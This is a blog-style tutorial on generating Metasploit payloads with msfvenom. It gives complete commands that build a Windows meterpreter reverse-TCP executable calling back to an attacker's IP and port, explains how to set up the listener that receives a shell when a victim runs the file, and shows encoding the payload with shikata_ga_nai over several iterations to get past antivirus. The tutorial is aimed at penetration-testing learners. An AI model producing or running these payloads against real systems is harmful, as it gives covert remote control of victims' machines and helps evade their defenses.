Creating a Payload with Msfvenom

In this tutorial, I am going to give you a quick overview on how to generate a Metasploit payload with Msfvenom.

Msfvenom allows you to quickly generate custom Metasploit payloads on the fly straight from the terminal.

To follow along with this tutorial you are going to need to have a copy of Metasploit installed. Metasploit is already installed by default in Kali Linux; if you haven’t got kali setup yet check out my tutorial on Installing Kali Linux in Virtualbox.

If you are using some other Linux distro, download rapid 7s Nightly installer here.

Options -h

As with any new Linux program, let us start out by taking a look at the help file for msfvenom. You do this by typing msfvenom -h in the terminal.

[email protected]:~# msfvenom -h
 MsfVenom - a Metasploit standalone payload generator.
 Also a replacement for msfpayload and msfencode.
 Usage: /usr/bin/msfvenom [options] 
 Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exe
 Options:
     -l, --list                 List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
     -p, --payload           Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
         --list-options               List --payload 's standard, advanced and evasion options
     -f, --format             Output format (use --list formats to list)
     -e, --encoder           The encoder to use (use --list encoders to list)
         --sec-name            The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
         --smallest                   Generate the smallest possible payload using all available encoders
         --encrypt             The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
         --encrypt-key         A key to be used for --encrypt
         --encrypt-iv          An initialization vector for --encrypt
     -a, --arch                 The architecture to use for --payload and --encoders (use --list archs to list)
         --platform         The platform for --payload (use --list platforms to list)
     -o, --out                  Save the payload to a file
     -b, --bad-chars            Characters to avoid example: '\x00\xff'
     -n, --nopsled            Prepend a nopsled of [length] size on to the payload
         --pad-nops                   Use nopsled size specified by -n  as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
     -s, --space              The maximum size of the resulting payload
         --encoder-space      The maximum size of the encoded payload (defaults to the -s value)
     -i, --iterations          The number of times to encode the payload
     -c, --add-code             Specify an additional win32 shellcode file to include
     -x, --template             Specify a custom executable file to use as a template
     -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
     -v, --var-name            Specify a custom variable name to use for certain output formats
     -t, --timeout            The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
     -h, --help                       Show this message

Payloads

The Payload generation in Metasploit is some of its magic sauce; allowing you to create a custom payload to get a shell out of almost any situation.

There are way too many different types of payloads in Metasploit to list them all here; but, check them out for your self by typing msfvenom -l payloads to list them all in the terminal.

msfvenom -l payloads

before we get balls deep in creating our payload we need to look into the different types of payload that you will see listed.

Bind Shell vs Reverse Shell

A bind shell opens up a new service on the target machine, this then requires the attacker to connect to the service in order to get a session.

Now obviously this was great before the widespread use of firewalls, but to get around this Reverse shells where created.

In a reverse shell, the attacker has to set up a listener; then gets the target machine to connect back to that listener and the attacker receives the shell.

Both bind and reverse shells need to have the relevant active ports open on the targets machine to get your shell.

HTTP/HTTPS payload

So the question is, what if the target has blocked inbound and outbound ports or is running some sort of IDS?

That is where the HTTP and HTTPS payloads come into there own.

The HTTP and HTTPS payloads were created using the HTTP\HTTPS specifications. This allows the payload to fool firewalls and IDS’s that are doing any kind of content inspection into thinking that the payload is just ordinary web traffic using port 80 or 443.

Staged VS Stageless

Looking through the msfvenom -l payloads output you may have noticed some of the payloads are in the format

windows/meterpreter/reverse_https

and some are like…

windows/meterpreter_reverse_https

They both look the same right??; Wrong…

The first one is a staged payload donated by the / between meterpreter and reverse_https; The second meterpreter_reverse_https is a stageless payload.

The differences between these two payloads are that the staged payload is initially a much smaller payload.

It only contains the bare minimum needed to connect back to a compatible handler and once the connection is made it sends the rest of the payload.

Stageless payloads are slightly larger payloads due to them being crammed with everything needed for the payload to work. This can be handy in certain situations with low bandwidth or high latency.

As the stageless payload contains everything in the initial payload including the shell you don’t have to use a Metasploit handler to receive your payload and you can use something like Netcat instead.

If you are interested in the nuts and bolts of staged and stageless payloads check out rapid7s deep dive into the subject.

Creating the Payload

The payload we are going to create with msfvenom is a Reverse TCP payload for windows. This payload generates an exe which when run connects from the victim’s machine to our Metasploit handler giving us a meterpreter session.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=6001 -f exe > securitytutorials.exe
  • -p lets you specify which payload you want to use.
  • lhost this needs to be the attackers IP address you want the payload to connect back to.
  • lport as above; this is the port the payload will connect on and will need to be set up in the handler.
  • -f this tells Msfvenom what it should create the payload as in this instance we are going for a program executable or EXE. (If you want to know what other formats are available type msfvenom -l format in the terminal.)
  • > this redirects the output of our command to the file name we specify.

Even though I am using a local IP address as this is on my test network, this works just the same via a Wan Interface; but you will need to make sure however that the port used is allowed through the firewall of your router.

Handler

Next step is to set up a handler in Metasploit to receive the connection from the victim pc. Log into Metasploit by typing msfconsole in your terminal.

Once Metasploit is loaded use the multi/handler exploit and set the payload to be reverse_tcp.

Next, you need to set the LHOST and LPORT; copying the details as you set it in payload you just generated in msfvenom.

Check everything is set correctly by typing options.

If everything looks correct, just type exploit to start your handler and once the EXE payload we created in Msfvenom is clicked you should then receive a shell.

Note: If you are expecting to receive multiple payloads you can type exploit -j instead to set the handler up as a job. otherwise, the handler will only accept a single connection.

Encoders

Any self-respecting anti-virus software should flag a standard Msvenom payload; It may even remove the payload as soon as it’s downloaded and touches the disk.

This is were encoders come in, they allow you to encode your payload obfuscating the actual code the payload contains, helping you bypass antivirus products.

Check out all the different encoders by typing msfvenom -l encoders in your terminal.

Framework Encoders [--encoder ]

Name                          Rank       Description
----                          ----       -----------
cmd/brace                     low        Bash Brace Expansion Command Encoder
cmd/echo                      good       Echo Command Encoder
cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
cmd/perl                      normal     Perl Command Encoder
cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar                 manual     The EICAR Encoder
generic/none                  normal     The "none" Encoder
mipsbe/byte_xori              normal     Byte XORi Encoder
mipsbe/longxor                normal     XOR Encoder
mipsle/byte_xori              normal     Byte XORi Encoder
mipsle/longxor                normal     XOR Encoder
php/base64                    great      PHP Base64 Encoder
ppc/longxor                   normal     PPC LongXOR Encoder
ppc/longxor_tag               normal     PPC LongXOR Encoder
ruby/base64                   great      Ruby Base64 Encoder
sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
x64/xor                       normal     XOR Encoder
x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic               normal     Dynamic key XOR Encoder
x64/zutto_dekiru              manual     Zutto Dekiru
x86/add_sub                   manual     Add/Sub Encoder
x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot              manual     BMP Polyglot
x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
x86/countdown                 normal     Single-byte XOR Countdown Encoder
x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
x86/nonalpha                  low        Non-Alpha Encoder
x86/nonupper                  low        Non-Upper Encoder
x86/opt_sub                   manual     Sub Encoder (optimised)
x86/service                   manual     Register Service
x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit         manual     Single Static Bit
x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic               normal     Dynamic key XOR Encoder

Now, I hope to cover encoders in more depth in future tutorials, as it is way out of scope for this high-level overview of Msfvenom but, just note that all you need to do is add a -e to your msfvenom command and the name of the encoder you want to use.

using the same payload we created earlier you can see I have added the x86/shikata_ga_nai encoding

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=6001 -e x86/shikata_ga_nai -f exe > securitytutorials.exe

You can also encode the payload multiple times using -i and the number of time you want to encode it.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=6001  -i 3 -e x86/shikata_ga_nai -f exe > securitytutorials.exe

Sometimes the more iterations you encode a payload can help bypass antivirus solutions; but, rapid 7 do state on their Github page that “encoding isn’t really meant to be used as a real AV evasion solution”.

Extra Reading

Let me know in the comments below if you have any questions about any thing written in this tutorial or what you would like to see in future tutorials even if it is just to let me know what is your favourite Payload to use. I try and replay to every single one.

One thought on “Creating a Payload with Msfvenom”

Leave a Reply

Your email address will not be published. Required fields are marked *